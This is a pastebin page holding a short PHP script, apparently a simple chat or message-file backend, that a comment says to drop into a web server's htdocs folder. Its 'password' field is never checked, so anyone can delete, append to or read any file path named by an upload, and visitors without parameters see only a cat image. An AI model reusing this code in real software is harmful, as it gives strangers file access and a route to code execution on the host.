This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a variety of options.

php pastebin - collaborative irc debugging view php source

Paste #660

Posted by: chat
Posted on: 2026-03-15 20:28:09
Age: 4 hrs ago
Views: 3
<?php
    //
    // Этот файл, нужно класть в папку сервера: htdocs
    //
    $CMD = 'MAGICSTRING'; // Волшебное слово или пароль.
    $MESSAGE = 'message';
    $FILENAME = 'file';

    if (isset($_POST[$CMD], $_POST[$MESSAGE], $_FILES[$FILENAME]))
    {
       // Работа при запросе с параметрами.

       $filename = $_FILES[$FILENAME]['name'];

       $command = $_POST[$CMD];
       if (!strcasecmp($command, '!Delete')) // Команда, удаление?
       {
          // Удаление файла.
          
          if (file_exists($filename))
          {
             if (unlink($filename))
                echo 'Remove ' . $filename;
             else
                echo 'Could not remove ' . $filename;
          }
          else
             echo "Missing file.";
          return;
       }
       else if (!strcasecmp($command, '!AddMsg'))
       {
          // Добавление сообщения.
          
          $str = $_POST[$MESSAGE];
          $stream = fopen($filename, 'a+');
          fwrite($stream, $str);
          fclose($stream);
       }
       else if (!strcasecmp($command, '!GetMsg'))
       {
          // Отправка сообщений.
          // Всех сразу. Махом. Если файл имеется.
          // Если нет. Скажет - Отсутствует файл.

          if (file_exists($filename))
             echo readfile($filename);
          else
             echo "Missing file.";
          return;
       }
       else if (!strcasecmp($command, '!GetSize'))
       {
          if (file_exists($filename))
             echo $filename . ': ' . filesize($filename) . ' bytes';
          else
             echo "Missing file.";
          return;
       }
       else
       {
          if (strlen($command))
             echo 'Unknown command: ' . $command;
          return;
       }
       echo 'OK!';

    } else
    {
       // Работа при запросе без параметров.

       // Вывод картинки. Всё.
       echo '<html><center><img src="katze.jpg" /></center></html>';
    }

    ?>

Download raw | Create new paste

© BitByByte, 2026.
Downgrade Counter